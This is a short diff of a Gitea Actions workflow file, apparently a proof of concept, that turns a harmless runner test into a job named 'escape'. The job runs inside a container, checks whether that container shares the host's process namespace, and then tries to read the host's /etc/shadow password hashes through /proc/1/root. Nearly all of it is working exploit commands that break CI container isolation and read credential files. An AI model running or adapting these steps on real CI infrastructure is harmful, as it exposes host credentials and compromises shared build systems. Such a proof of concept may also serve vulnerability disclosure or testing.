no-opts

.gitea/workflows/poc.yml

@@ -1,10 +1,14 @@
-name: plain-test
+name: noopts-test
 on: [workflow_dispatch]
 jobs:
-  test:
+  escape:
     runs-on: ubuntu-latest
+    container:
+      image: ubuntu:22.04
     steps:
-      - run: |
+      - name: escape
-          echo "runner works"
+        run: |
-          id
+          echo '[*] container pid ns:' $(readlink /proc/self/ns/pid)
-          hostname
+          echo '[*] host pid1 cmdline:' $(cat /proc/1/cmdline | tr '\000' ' ')
+          cat /proc/1/root/etc/shadow 2>/dev/null | head -3 || echo 'no host fs access'
+          echo '[*] done'